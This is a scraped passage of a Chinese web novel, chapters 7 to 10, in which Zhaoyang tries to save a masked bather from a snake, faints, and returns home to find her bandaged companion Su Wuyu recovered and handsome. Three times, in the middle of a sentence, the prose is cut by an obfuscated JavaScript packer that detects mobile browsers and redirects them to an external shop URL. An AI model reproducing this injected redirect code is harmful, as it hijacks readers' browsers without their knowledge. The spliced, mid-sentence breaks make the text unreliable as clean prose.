只见那人此刻正赤.裸着上身背对昭阳的方向,一头乌发半湿着垂于腰际,背上隐约露出的斜方肌结实而健硕,让整个肩胛骨附近的曲线都呈悦目之态,再看那两条恰到好处的修长手臂,多一分则过于魁梧,少一分则太显消瘦,堪称黄金比例。 天哪,昭阳只觉自己差点就要喷出鼻血来,这分明是个昂藏七尺的大男人在洗澡啊! …… 7. 救美 昭阳咽了咽口水,只觉脸上一阵燥热,这种偷看别人洗澡的狗血之事竟然发生到了自己头上,关键双方的性别还对调了一下! 不过这个男人的身材还真不是一般的好啊,昭阳不禁暗自感叹,还有那一身白皙光滑的皮肤,说是肤若凝脂都不为过,只怕好些个女人都还不如他呢,比如眼下的自己。说着,她颇为自惭形秽地垂首望了望底下那双扑满污泥尘土的双手,那哪是女人的手啊,根本就是两颗老坛酸菜嘛。 昭阳重重地叹息了一声,轩昂伟岸的身材加上冰肌玉骨的皮肤,如此刚柔并济,光看身体的话真是堪称绝色了。虽说大家性别不同,但昭阳还是在心中莫名地艳羡了一番,再者,美的东西所有人都喜欢,于是,她又忍不住多瞟了几眼,好在他还穿着裤子,倒也不算自己太无耻。 不过,这一看本不打紧,可偏生昭阳的眼力不错,只见原本平如镜的水面不知何时起泛起了圈圈涟漪,而她顺着那涟漪望去,竟发现一条水蛇正在蜿蜒前行。 莫非即将发生的就是传说中天雷滚滚的英雄救美? 眼见着那条蛇在水中游刃有余,看来是天意如此,昭阳犹豫片刻,还是救人要紧,谁让咱有一副菩萨心肠呢,遂决定拍石而起,今天就当一回英雄,反正光看对方的身体也算得上是个“美人”。于是,也顾不得暴露自己偷窥的羞耻,她扯开嗓子就冲着那边大喊,“喂,那边洗澡的小哥,小心你后头有蛇!”说着,便从地上抄起一根粗壮的树枝疾步跨入水中。 对于抓蛇这种事昭阳倒也不是头一回,小时候不懂事,再加上天生胆子也不算太小,她曾经和几个小伙伴一起徒手抓过一条小青蛇,大致就是先控制蛇身再打七寸,最后抓住蛇头就行了。 不过这回毕竟是在水里,和岸上自然不能相提并论,昭阳当然没那么傻真想去抓蛇,搞不好画虎不成反类犬搞得自己一命呜呼也未可知,故而当下的想法是用手里的树枝和镰刀将蛇赶走,这样既能救人又不会伤到自己,还放了蛇一条生路,堪称三管齐下。 没一会儿功夫,她便在水里认真地开展起了驱蛇救美的剧情,在距离蛇两三米开外的地方,昭阳不停地敲击着水面,当然,为了壮胆,她还下意识地将另一只手中的镰刀在空中一阵狂挥。也不知是不是被她这疯魔狂舞的架势吓到,在与昭阳周旋了好一会儿后,那条水蛇竟真有掉头的趋势。 心中一阵大喜,昭阳赶忙抬头试图将这个好消息传递给那位美人小哥,方才专心和水蛇打架,竟全然没有心思顾及他的状况。 哪知这不抬头还好,一抬头差点没把她的小心肝一起吓出来。此时小哥与昭阳左不过几步之遥,近距离瞧着倒是更显他身姿挺拔,不过此刻她早已无心去欣赏这副好身材,只见他不知何时转了身,正面对着自己的方向静默地立于水中,整个人无动于衷地望向她,仿佛是在观赏一出无关紧要的把戏。 这也就算了,关键是他的脸,不,确切地说应该是他脸上的面具。那是一张青面獠牙的玄铁鬼面具,整张面具除了双眼的地方几乎可以说是密不透风,别说是脸了,就连面具后人的基本轮廓都全然看不清,也不知他是怎么呼吸的。 昭阳突然想到了聊斋故事里那些贪图女鬼狐妖美色的粗鄙男人,依稀记得在鬼怪们现出原形后他们似乎都没有什么好下场,而自己现在应该就是扮演着那些男人的角色吧。天可怜见,她起初的行为虽然确实有那么一点点一点点的猥琐,可绝对没有对这人起过任何非分之想啊。 一时间,昭阳只觉得嘴角抽搐,大脑一片空白,由于恐惧整个人本能地朝后退了一步,哪知她似乎忘了此刻自己仍身在水中,脚下一个踉跄,竟就这么狼狈地一头载到了后面的水里。 这温泉之水虽说不深,但好端端地这么一摔也是够呛,猛然间水流灌入鼻腔,昭阳只觉呼吸困难,四肢下意识地在水中扑腾,恍惚间似乎还碰到了什么东西,左臂上猛然一阵生疼。 好一番折腾,当她再次重见天日之时,整个身子是被人拦腰从水里捞起来的。 昭阳大口地喘着粗气,发梢及脸上残留的水珠不断滚入口中,好不容易又呼吸到了新鲜空气,刚想歇歇,可哪知,她还没彻底回魂便一波未平一波又起,昭阳刚想抬首抹脸,却只觉左臂被人硬生生地拽起。 一只宽厚的大掌抚上她的臂间,昭阳尚且有些莫名,然而,当她看到眼前人将手中已经断了气的水蛇随手扔向岸边时,瞬间醍醐灌顶。昭阳赶忙以迅雷不及掩耳之势撩起了袖管,好嘛,她果然是搬起石头砸了自己的脚,眼见着手臂上两颗突兀的血点,昭阳差点没头顶冒烟。 不对啊,再想想刚刚美人小哥抓蛇时那闪电霹雳般的手法,就算比不上降龙十八掌但起码也有几分铁砂掌的气魄,昭阳不禁有些恼了,“你会功夫?”她瞪了他一眼,此时也顾不得什么鬼面具了,她自个儿都快成鬼了,好小子功夫那么好怎么不早说。 不过,那美人小哥并没有理昭阳。这时候装什么深沉冷酷狂狷邪魅呢,昭阳在心中腹诽,忍不住又多瞪了他一眼。 然而,倒霉狗血的事儿似乎远不止这些。 也不知是不是这蛇有毒,没一会儿功夫,原先还活蹦乱跳的昭阳渐渐只觉整个人都开始头晕眼花,两腿发软,为了不让溺水事件重演,她下意识地将手伸向身旁唯一的人,想要为自己寻找一个支撑点。 原是慌乱中无意识的举动,可待到昭阳缓过神后,只觉自己整张脸都不由自主热了起来,她的双臂现在竟就这么软绵绵地挂在了那小哥的脖子上!昭阳心下虽颇感窘迫,可再仔细一想,反正自己就快要一命呜呼了,管他面子里子的问题,自己舒服就行了,思及此,她倒也没方才那么羞赧了。 不过,对于昭阳的这一系列举动,这回那小哥倒是没有再如先前那样充耳不闻,转而垂首打量起了此刻正像树懒般挂在他胸前的女子。一张鹅蛋小脸稚气未脱,原先水灵的皮肤此刻却因为沾上了灰土而略显狼狈,尤其是那小巧挺直的鼻梁上,一道长长的灰痕让她整个人都显得特别滑稽。再看那一对剪水双瞳,只匆匆瞥了一眼自己后便一直无措地转来转去,分明是她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548141|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己贴上来的,可眼下却好似是他轻薄了她一般。 与此同时,占了便宜的昭阳却也并不好过,她只觉头顶上方一对漆黑深邃的墨瞳泰然自若地烙在自己身上,虽只有一眼,可她方才还是瞧见了,那人清冷淡然的眸光不染一丝多余的情绪,看得她不禁有些头皮发麻。 “看什么看?你,你,你别和我说什么男女瘦不瘦轻不轻的话啊,我可不吃这一套。”不知怎的,估计是因为心虚,昭阳竟有些结巴起来,她只得在心中不停地默念,反正就要命不久矣了,别怕别怕。 于是,趁着还没完全昏死过去前,昭阳准备最后为自己再谋一把福利,“我是为了救你才这样的,死后你可千万别忘了要厚葬我啊,不说把我迁入你们家祖坟什么的,但至少也得给我盖个像样点的碑吧,当然如果你良心发现执意要迁我也是会同意的,有几个邻居热闹点。”她可不想死在这荒山野岭当个孤魂野鬼呢,连个小石碑都没有的话那不就成肥料和黄土融为一体了嘛。 那小哥听罢昭阳的话,本已抬起的头不禁又再次垂下,面具后的薄唇饶有兴致地微抿起,瞧着倒是个眉清目秀的丫头,没想到竟是个语不惊人死不休的主,这会子倒是已经惦记着要进他们家祖坟了。 “要死了还这么啰嗦?”他的声音清澈而空灵,仿若那天山脚下化不开的千年冰雪,听不出任何情绪,本是极好听的,可这半带着点儿嘲弄的语气却让昭阳很是不爽。 “你什么意思?我可警告你啊,你要是敢把我随手抛尸在这儿,我……”想起他刚刚是怎么对那条水蛇的,虽说这人蛇有别,可他看起来也不像是个纯良的,昭阳心下不禁有些担心起自己的后事,抱着他脖子的手下意识地紧了紧。 “怎样?”他漠然地反问。 “我当然是不会放过你了,”昭阳有些气急,他似乎是真的完全没把她的建议当回事,“就算做鬼我也一定天天爬你的澡盆!”也不知是不是怒火攻心,这么生生吼了一声后,昭阳只觉脑袋一沉,当下便觉眼前也开始渐渐泛黑。 看来她是真的要驾鹤西去了,没想到这第二世人生竟如此短暂,昭阳回忆起这短短的一个月,她还没游过这个陌生的世界,还没报答程嫂程伯的救命之恩,最重要的是,她还没好好和草屋里的那个人道别。她甚至连他的音容笑貌都不很清楚,他若知道自己出了这事该会有多自责?他今后的日子该如何过下去?他会不会很快就把自己给忘了? 一个个问题莫名地涌出,引得昭阳心头不禁发酸,可无奈眼前的世界却变得越来越黑,她似乎突然理解了紫薇在瞎眼时边抓着尔康边说的那句著名的“一个破碎的我如何拯救一个破碎的你”时的绝望心境。 “笨。” 然而,就在昭阳即将完全失去知觉前,原本沉浸在悲伤中的她却依稀听到有人在耳畔吐出了这么一个词。她承认自己当时真的很想上去劈了这个没良心的臭小子,暗想着等哪天自己做了厉鬼绝对天天趴在他的澡盆边上吐舌头掉眼珠,看他这辈子还能不能再这么乐呵地洗澡! …… 8. 蜀锦 蜿蜒曲折的山间小道上,明媚灿烂的骄阳肆意地播撒着光和热,几只栖息于低矮灌木的白眉鸟儿正嘤嘤成韵,鸟语花香的大山显得那么静谧安详,分外显得一老一少两个行色匆匆的赶路人格格不入。 走在前头的中年男人身挑着个扁担,半悬在空中的两个篓筐里皆装得盆满钵满,而走在后头的布衣少女则相对轻松不少,只在身后背了个大草筐。 昭阳提了提压在肩上的两根草绳,挥手轻抹了脸上的薄汗,感受着背后的这份沉甸,心中竟是莫名的满足。这回卖光了所有的梅兰藤可算是赚了不少,这不她和程伯一块儿在县城里添置了好些东西,三个筐都快装不下了。 想着这趟终于不虚此行,昭阳心中暗舒了一口气,可下意识地瞥了一眼口袋里那块白缎子后,她的思绪一时又开始有些恍惚。 当初那种恐惧和绝望的心境是那么地真实,可待到她再次睁开眼的时候,见到的却是程伯焦急的黝黑脸蛋,周围依旧是高林密布的大山,可别说是那个戴着鬼面的可恶男人了,就连整个云雾缭绕的温汤池竟也都不见了踪影。若非是这块缠在她左臂上的白缎子,昭阳几乎就要以为原先的一切只不过是自己累极的南柯一梦。 不过,说起那天的事儿,其实除了疑惑外,昭阳感到更多的却是懊恼和窘迫。 彼时,程伯是在一处较为平坦的泥地附近发现昭阳的。淳朴实诚的程伯一见她昏迷不醒地躺在地上,自然是倍感心急如焚,连连唤了昭阳十来声,外加轻拍推攘了好多下才见地上的人有了一丝醒转的痕迹。 而刚醒来的昭阳在发现自己小命得保后似乎还有些懵,回忆起不久前的遭遇,心中的惊悸不安尤历历在目,眼下莫名地重归平静,一时间竟有些分不清这是梦境还是现实,于是她便将事情的原委都与程伯讲了一遍,想听听他的想法。 程伯在这山里住了几十年,自然对那些蛇虫鼠蚁的不陌生,在听说昭阳被水蛇咬了后,惊愕失色之余,更是仔细查看了昭阳手臂上那缠于白缎子之下的伤口。 一旁的昭阳心有余悸地望着程伯等待他的答复,哪知,这程伯不开口也就罢了,他一说话差点没让正在喝水的昭阳呛死在自己的口水里。 “伤口并无发黑的迹象,这水蛇应是无毒的,昭阳丫头且放心就是,”程伯说话间原先紧锁的眉头缓缓舒开,嘴角还诡异地挂起了一抹不易察觉的憨厚笑容,“至于你为什么会昏倒,我估摸着该是这几日咱只吃些干粮,给饿着了吧,回去后让你程嫂好好给你补补就是。” 什么?这蛇没毒也就罢了,自己昏倒竟然不是因为被咬伤或是惊惧过度什么的,而是因为……饿晕了? 昭阳一时间有些风中凌乱,瞧那美人小哥抓蛇的时候那么驾轻就熟,想来对这方面也该懂一些,他早知道了这蛇无毒?若真如此,此刻再想想自己都做了些什么,她可是一边像滩泥一样贴在人家身上,一边还理直气壮地要人家给自己盖座碑呢! 思及此,昭阳顿觉无地自容,嘴角抽搐之余不禁扶额擦汗,那个小哥在她心中的形象也从原先的一文不值瞬间飙升了好几个档次,其实他说得也没错,若有天自己真的英年早逝了,估摸着就算不是被毒蛇咬死,也该是被自己活活笨死的。 然而,正在昭阳捶胸顿足懊恼不已之时,身旁一向不解风情的程伯果不其然又开始发挥起了他惯有的重点错误技能,“昭阳丫头你也莫再后怕了,这会子亏得有贵人相助,难得这些富家公子哥还有如此心善的,下回可不能再大意了。” “富家公子哥?”昭阳有些纳闷地反问,一下被他的话吸引了过去,毕竟自己偷窥别人洗澡也实属丢人,因而她并没有向程伯过多赘述那个小哥的事,他是从何得出这个结论的? 不过,程伯倒是不顾昭阳的怀疑,一脸认真地指着那块白缎子道,“丫头你尚且年轻可能有所不知,这玩意儿老头我虽只年轻时在京城办差的巧合下见过几面,但瞧这以经线起彩,再辅以彩条添花的织法,定是蜀锦无误,能用得起蜀锦的可不都是贵人嘛。” 昭阳经他这么一介绍,不禁有些狐疑地瞅了瞅那块号称是蜀锦的白布,本以为只是块寻常白缎子,没想到竟是传说中与南京云锦、苏州宋锦、广西壮锦并称中国四大名锦的蜀锦,这料子在现代可还是国家级非物质物化遗产呢。 再看那块蜀锦边缘参差的口子,很显然是从类似中衣之类的衣物上随手撕下的,昭阳心下不禁对程伯的言论肯定了几分。既然这蜀锦如此珍贵,一般人能穿着当外袍就已经够显摆了,那小哥居然连里头的中衣都用的是蜀锦,那还不是富得流油的主儿。 可这么一想,昭阳又似乎觉得有些不妥,哪个富家公子哥会吃饱了撑跑到这荒山野岭的深山老林里来洗澡呢?且他身边可是连一个随从都没有,看着也不像是千呼万唤始出来的贵胄豪门作风。再者,会有这样爱戴着鬼面具的富家公子哥吗,难道他都不怕财神爷看到他的脸会出门左拐绕道? 这一连串的问题自从那日后便一直萦绕在昭阳的心头,毕竟自此以后,她再也没见过那片充斥着她不堪回忆的温泉,更没有再见过那个诡秘莫测的美人小哥,一切似乎都成了个不解的谜,但偏偏就是这样,昭阳对这些神眉鬼道的事儿倒似更上了心。 这不,昭阳此刻边赶着路,瞧着那块袋里的蜀锦,不禁又是一阵神游太虚,直到不远处传来了几声熟悉的呼喊,这才让她回过了神。 只见前方的小道上一个体态微有些丰腴的妇人正匆匆往自己的方向快步迎来,她的手里还揣着来不及放下的几件衣裳,满面的欣喜激动之色更是溢于言表,不用说,这除了程嫂还会有谁,昭阳与程伯在外出了近一个月后,终于又回到了山间的草屋。 “程嫂。”昭阳见了此刻正笑得和蔼的妇人,不禁也同样兴奋地朝她挥了挥手。 程嫂乐呵地应了一声,在靠近两人时,只饱含温情地瞥了一眼程伯后,便先是绕到了昭阳的面前,顺手替她解下了身后的草筐,“总算是把你们俩给盼回来了,丫头可不比咱们山里人,这回没少吃苦吧,一会儿就替你下碗热汤面。” “还是程嫂待我最好了。”这一句话正中昭阳的下怀,她一边莞尔着连连点头,一边又似想起了什么,“对了程嫂,我家相公还好吗?”这都快过去一个月了,没有昭阳的悉心照料,也不知苏无虞的伤眼下恢复得如何了。 “丫头放心,你家相公好着呢,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548142|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过……”程嫂有意拖了拖调子,但见昭阳眉头一紧,这才复又开了口,“只不过这人整日都似恹恹的,怕是害了相思病了。”说着,还不忘冲着昭阳暧昧地笑了笑。 果然女人无论在哪个时代都避免不了八卦的本性,昭阳脑后虽已竖起一排黑线,但嘴上也不好说什么,“那我这就去瞧瞧他,程嫂怕是也有不少话要与程伯说罢。”言罢她心中暗笑,脸上亦同样回以了程嫂一个意味深长的表情后便识趣地快步朝着草屋走去,她可不想当电灯泡。 昭阳进了屋后便熟门熟路地朝里左拐,她才不信苏无虞害了什么相思病呢,他这人本来就不爱说话,再者碍于伤势整个人都比较虚弱,不呈半死不活状都已经算是好的了,别说像个正常人一样龙马精神了。 此刻,正如平日里的每一次一样,昭阳极其自然地推开了里间的木门,“无虞,我回来了。”她边说着边抬首朝里望去,可待她定睛一瞧,床上竟是一反常态地空空如也,奇怪,他不该整日都是窝在床上的嘛。 下意识地环顾了整个小间,然而,就在瞥见了木窗边上站着个人后,昭阳只觉大脑瞬间停工了三秒。 那是一个长身玉立的少年,清瘦的身子让他整个人尤显高挑,一头墨黑的乌发只用布带随意地束于脑后。窗边的斜阳映照而下,一阵微风适时地拂过他玄青色的粗布薄衣,苍白的脸颊上剑眉如画,鼻若悬胆。 那少年就这么静静的站着便已是美如冠玉,而眼下更要命的是,他在闻声后转首望向昭阳的方向,嘴角边霎时勾起了一抹优雅的弧度,连带着半眯的凤眸笑靥如花,那噙满了水雾的眸子倒映在昭阳的眼中,只觉清澈得就像是烟花三月里江南的潺潺溪水,这个少年的一颦一笑都散发出一种摄人心魄的魅力,真真是明媚到了极致。 昭阳望着窗边的人呆呆地愣怔了几秒,但很快整个人就回过了神,她浑身像触电般蹿到了小间中央的木桌边上,顺手就抄起一个空茶杯握在手中,一脸戒备地冲着窗边有些莫名的少年喊道,“喂喂喂,你是何方妖孽,速速报上名来。” 那少年听罢几乎是一脸茫然,“妖孽?”他愣愣地反问道,说着更似要迈腿靠近昭阳的方向。 俗话说一朝被蛇咬十年怕井绳,昭阳有了在温泉边上的经验,这回是断断不敢再冒然让陌生男人近身了,何况这厢又是个标准“美人”,说着便往后退了几步,顺势用握着茶杯的手指向那少年,“你干嘛,我警告你别过来啊,这儿是我相公的地盘,他可厉害着呢,当心他回来揍扁你!” 少年听她这么一说,倒是真的停下了脚上的步子,似是明白了什么,但见他脸上的笑意更深了几分,“是吗?那他眼下在何处呢?” “他……”昭阳结巴了一下,又瞥了一眼空荡荡的床,突然整个人如临深渊,“你你你,好大的胆子,你把我相公弄到哪儿去了,快把他交出来!别以为你长得帅就了不起啊,你要是敢动他一根汗毛我一定把你打成猪八戒!” 谁知,少年听罢全然没有昭阳想象中的惊骇,反倒是忍不住笑出了声,眉目如画的脸上,薄唇抿出一抹清朗的弧度,“昭阳,我看还是你比较厉害。” “啊?” …… 9. 变身 窗外的雨淅淅沥沥地飘洒而下,虽算不上什么磅礴大雨,可那一串串剔透的无根之水顺着屋檐直落入泥地,滴滴答答地却听得人莫名心烦,眼下分明已是秋天,可今日这气候却怪得很,晨间还是晴空万里,到了下午却骤然乌云密布起来。 昭阳在心里反复抱怨着天公不作美,毕竟若非外头下着雨,此刻她也就不用这么闷闷地坐在屋子里的,对着身旁的人相顾无言了。 整个小间的气氛因为长时间的沉默显得有些古怪,昭阳偷瞟了一眼旁边的人,到现在都颇感匪夷所思,若非他微扯开衣襟露出胸口密布的狰狞伤疤,她是无论如何都不会相信眼前这个宛若谪仙的俊美少年就是当初自己在水边所救的那个长得堪称惨不忍睹的苏无虞。 从前只觉得他是个病人,又是和自己一起落魄流浪的,相处的过程中昭阳也无甚注意那些细节,只觉得他们之间就是纯洁的战友情谊。 可现如今他摇身一变却成了个玉质金相的美少年,再想想曾经自己对他所做的那些事,昭阳只恨不得立即自挂东南枝。说什么他是自己的相公,天天夜里和他同床共枕不说,更重要的是,自己还曾经上下其手地给他擦身!昭阳怎么想都觉得自己实在是太不要脸了,他该不会觉得她这是在勾引他吧? 想到这儿,昭阳整个人都止不住地打了个寒颤。 不过,此刻的苏无虞哪知昭阳心里这翻江倒海的汹涌情绪,只以为她这么一下是受了凉,“冷吗?要不要我将窗子阖上?”声音依旧沙哑低沉。虽然他不明白昭阳为何自打回来后就一副拒自己于千里的模样,可奈何他本就不是个多话的人,见她一直若有所思地没有说话,自己也只好陪着她沉默。 其实,这本只是句寻常的关心话,可昭阳本就在心猿意马,一下子又听苏无虞开了口,顿时有些慌了神,“不用不用,我不冷,你坐,坐。”说着还不忘冲着他苦笑了三声。 她的眼神闪烁不定,即便是方才说话的时候也从不正眼瞧他一眼,苏无虞又怎会听不出她话里的敷衍,直到半响后,他才又咬着唇,似是艰难地开了口,“可不可以让我瞧瞧你的手,程伯都与我说了,伤口都好了吗?” “不可以!”昭阳几乎是脱口而出,但话刚说出口却又觉得有些突兀,遂赶忙随便找了个借口,“是这样的,在山里干活那么久我怕手臂上练出肌肉,让你瞧见了这多不好意思啊,哈哈,那个小口子早就好了,不碍事的。”说完她还心虚地举起茶杯胡乱抿了一口。 “无妨,是我唐突了,你没事就好。”苏无虞那双原本璨若星辰的眸子霎时黯淡了下来,转而像往常一样垂首望着桌沿不再说话,脸上看不出任何情绪。 整个小间又重归了方才的安静,昭阳的手有意无意地摩挲着瓷杯边缘,心中却是在暗呼这样的尴尬究竟还要持续到什么时候,所幸,伴随着半掩的木门吱呀一声被人轻推开,程嫂此刻宛若救世主般出现在昭阳的视线里。 天知道昭阳此刻看着程嫂的眼神有多炙热,几乎就要放出光来,只可惜一脸笑意的程嫂似乎全然没有注意,这也就罢了,而她接下来说的话却是差点没让昭阳直接从凳子上摔下去。 “丫头啊,我方才与你程伯理篓筐瞧见这件衣裳,老头子说这是你替你家相公买的,”说着便将手中一件叠得四方的衣裳搁在了门旁的小矮柜前,“我给你放这儿了,就不打扰你们小俩口叙旧了。”程嫂言罢还不忘露出一脸识趣的表情。 昭阳望着那静置于矮柜上的衣裳,顿时面露菜色,她怎么就给忘了,这对夫妇可都是耍的一手神补刀啊。 而此时的苏无虞则是有些莫名,瞥了一眼门边的矮柜后又朝着昭阳的方向看了看,一脸等着她来解释的无辜表情,昭阳无奈,只得起身去将那件衣裳拿了过来。 这次进山,昭阳最后几乎将赚得的所有钱都用来替程伯夫妇添置了些生活必需品,只除了这件特意买给苏无虞的袍子和她此刻正穿在身上的宝蓝色暗纹留仙裙。 “我瞧你穿程伯的衣裤有些短,便想着给你买了件衣裳,样式是我自己挑的,不知你是不是喜欢。”昭阳颇有些窘迫地将手中的袍子展开,但见眼前的人却依旧是愣愣地坐在那儿,仿佛还未回过神的模样,半响,她又试探性地问了一句,“你,要不要试试?” 苏无虞听她这么说,方才眼中的黯淡早已一扫而空,他在一脸难以置信地楞了一下后,这才讷讷地起身朝着昭阳走去。 那是一件月白色的亚麻布长袍,除两袖口滚边上的祥云纹外通身都是极素净的,昭阳承认之所以选这么件长袍是有部分她的私心,记忆中自己总是对那些武侠小说里手执三尺青锋,一袭翩翩白衣的浊世佳公子没什么抵抗力的。 然而,很可惜,昭阳的美好愿望最终却没能实现。因为当那个身着素雅白袍的苏无虞站在面前时,她既没有看到如楚留香般的倜傥风流,也没有似李寻欢的浪荡不羁,更别提像花满楼那样的遗世独立。 不过,这倒不是说苏无虞穿得不好看,只是他的气质实在和昭阳想象的那些江湖侠士有些相去甚远。一头整齐束于脑后的乌发更衬得他病中苍白的脸颊面若敷粉,潋滟的凤眸中总是噙着点点水雾,使他的墨瞳更显清净平和,再披上这本就是不染纤尘的白袍,让他整个人都散发着温文儒雅的书生气质。 昭阳不禁扶额,这活脱脱就是宁采臣即视感啊!若非得寻个武侠角色与之匹配的话,勉强也就是像段誉那样敦实恭顺的才行,不过,所幸苏无虞倒是没有像段公子那样有这么多花容月貌的痴情好妹妹,不知怎的,昭阳想到这儿,竟然不自觉地嗤笑出声。 而一旁的苏无虞本是满含期许地等待着昭阳的评价,可见她竟然莫名地笑了起来,而且那笑显然不是因为欣赏或是欢喜什么的,长长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17548143|204241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的睫毛霎时有些灰溜溜地垂了下来,“我从未穿过这样的衣裳,是不是很奇怪?”他咬唇低喃着,声音比往常都要轻了几分。 开什么玩笑,你生得这副好皮囊,穿什么衣服难道不是没有最好看,只有更好看吗?昭阳在心里腹诽着,若不是知晓了苏无虞的过去,了解到他心底深处一直都是有些自卑的,她一定会觉得这人是在惺惺作态。 “怎么会奇怪呢,明明很衬你啊,而且最主要是……”昭阳赶忙出言安慰,其实她本想说是因为他长得好,但转念一想这可是在古代,她若是如此直白地夸一个男子帅,那不要脸的程度准该又上升一个等级了。“呃,我是说,最主要是因为那是我挑的嘛!”没办法,话不能只说一半,她只能先胡乱扯个理由了。 哪知,身旁的苏无虞听后竟似如梦初醒,微扬的薄唇难掩那一抹洋溢而出的笑意,清澈的眼眸也跟着如弯月般眯起,更重要的是,他那白玉般的脸颊上悄然爬上两道绯色的红云,如此纯情可人美少年,昭阳虽弄不懂他在害羞个什么劲,但也几乎要被萌出一脸血。 “你喜欢就好。”为了避免好不容易缓和的气氛再次陷入僵局,昭阳忍不住又干笑了几声以示自己的友好。 然而,此刻的昭阳似乎并没有意识到,这最让她难熬的时光可还只是开了个头。 夜晚,自打回来后便一直呈现出前所未有尴尬氛围的草屋小间,伴随着夜色渐浓,这股子诡异的沉默也愈发让人压抑起来。 这一晚,昭阳一反常态地老早便爬进了被窝,本想着赶快入眠,待到自己睡着了自然也就相安无事了。可哪知让昭阳万万没想到的是,自己那位贴心的“相公”一心以为她是外出辛苦给累着了,故而见昭阳一溜烟滚进了被窝,没一会儿便满含愧疚地将烛火吹熄了,而他自个儿也安静地躺在了昭阳的身旁。 天知道被一个俊美的少年主动爬床睡在身边是件多么让人脸红心跳的事,特别是当苏无虞俯身越过昭阳躺到里侧的刹那,那一股尤带着药香的男子独有气息有意无意地扫过她的脸颊,昭阳只觉整颗心脏都要跳出来了。 这还让不让人睡觉啊! 接下来,顺理成章地,某人注定失眠了。 于是,在闭目冥想了近两个时辰后,几乎就要暴走的昭阳愤然扯开了裹在身上的被子,整个人仰面呈大字状瘫在床上,她就不明白了,明明已经是秋天了,怎么还这么热? 也不知是不是她这天摇地晃的动静太大,床里侧响起了一阵咳嗽声,苏无虞身上的外伤虽都康复得差不多了,但这陈年旧疾却还是老样子,白天时不时地会咳上一阵,到了夜里就更不用说了。 昭阳见床里头的人有要翻身的态势,出于心虚,整个人瞬间如老僧入定般一动不动地转入挺尸模式。 哪知,就在她紧闭着双眸装睡的同时,一只修长的大手正渐渐伸向她…… 10. 夜话 昭阳屏住呼吸,僵直着身子一动不动,旁边的人究竟想要干什么啊,刚刚她分明感觉到苏无虞翻了个身,并且似乎还朝着自己的方向挪了挪?可这会子他却又没了动静,莫非他已经睡着了,这样的话那她是不是就可以恢复正常了? 然而,就当昭阳默默地在心中举棋不定顾自挣扎的时候,一声轻微的叹息却不合时宜地在她耳畔响起,紧接着,昭阳只觉身子一重,那条方才被她踢到一边的薄被就已经再次覆于她的身上。 寂夜中的小间万籁俱静,使得那一声微不可查的叹息尤显无力而惆怅,落在昭阳的耳里,不知为何却像针扎般叫人难受,苏无虞的一系列动作虽轻柔,可却明显带着小心翼翼。 昭阳愣愣地睁开双眼,即便是她神经再大条,也总能体味出几分个中的反常。由于她这个人睡相不大好,晚上睡觉的时候老是会踢被子并摆出各种诡异的姿势,好几次在朦胧的半梦半醒中她都能感觉到有人轻轻地将她半挂在床外的身子捞回来,并温柔地替她掖好被角,可这一回,整个过程中他的手甚至都不曾直接碰到过自己的衣衫。 侧首望向旁边那个早已转过身子面朝墙的清瘦背影,昭阳心下不禁暗恼自己,她这一天究竟在做什么,平白无故捡了块宝一般人偷着乐还来不及呢,怎么偏生她却硬是在那儿闹了一天别扭。苏无虞本就是个有点儿自卑的,再加上先前被人那般非人虐待,脑袋里总是装着他是个不祥之人的念头,这会子自己在山中遇险,回来后又对他表现出极不自然的疏离,他会不会觉得自己也是在嫌弃他? 昭阳被自己的这番推理吓了一跳,可越想越觉得有理,心中只觉懊悔无及。恰巧,此时的黑暗中再次响起了苏无虞沙哑的咳嗽声,这一回,昭阳几乎是不假思索地将身子挪向他的方向,飞快地伸出手轻捋着他的后背好替他顺气。 本还想着要故作高冷地保持沉默,然而当昭阳的手触到那瘦骨伶仃的后背时,她明显感受到床里头的人浑身一阵轻颤,这不禁有些让她急了,“不是你想的那样。”昭阳几乎是脱口而出。 苏无虞明显一怔,待到咳得不那么厉害了,他才有些愣愣地开口道,“我想的怎样?” “就是你想的那样呗,”昭阳一时有些语塞,她该怎么接下去,总不见得直接说她没有嫌弃他什么吧,这也太直白了点,且说不定会对苏无虞造成二次伤害也没个准,“呃,这个嘛,其实我只是一下子还没有习惯你现在的样子而已,所以,所以有点那个嘛。” “哪个?”苏无虞低声轻问道,听起来并不像是戏谑的样子,反而更像是诚恳的发问,不知怎的,昭阳突然脑补出他眨巴着那一对水汪汪的凤眸一脸真挚地望向自己的样子,差点忍不住又要喷出一道鼻血来。 于是,昭阳先是心虚地干笑了三声,而后才吞吞吐吐道,“我这不是有点害羞嘛,哈哈哈……”真是遭不住,她就是这么诚实。 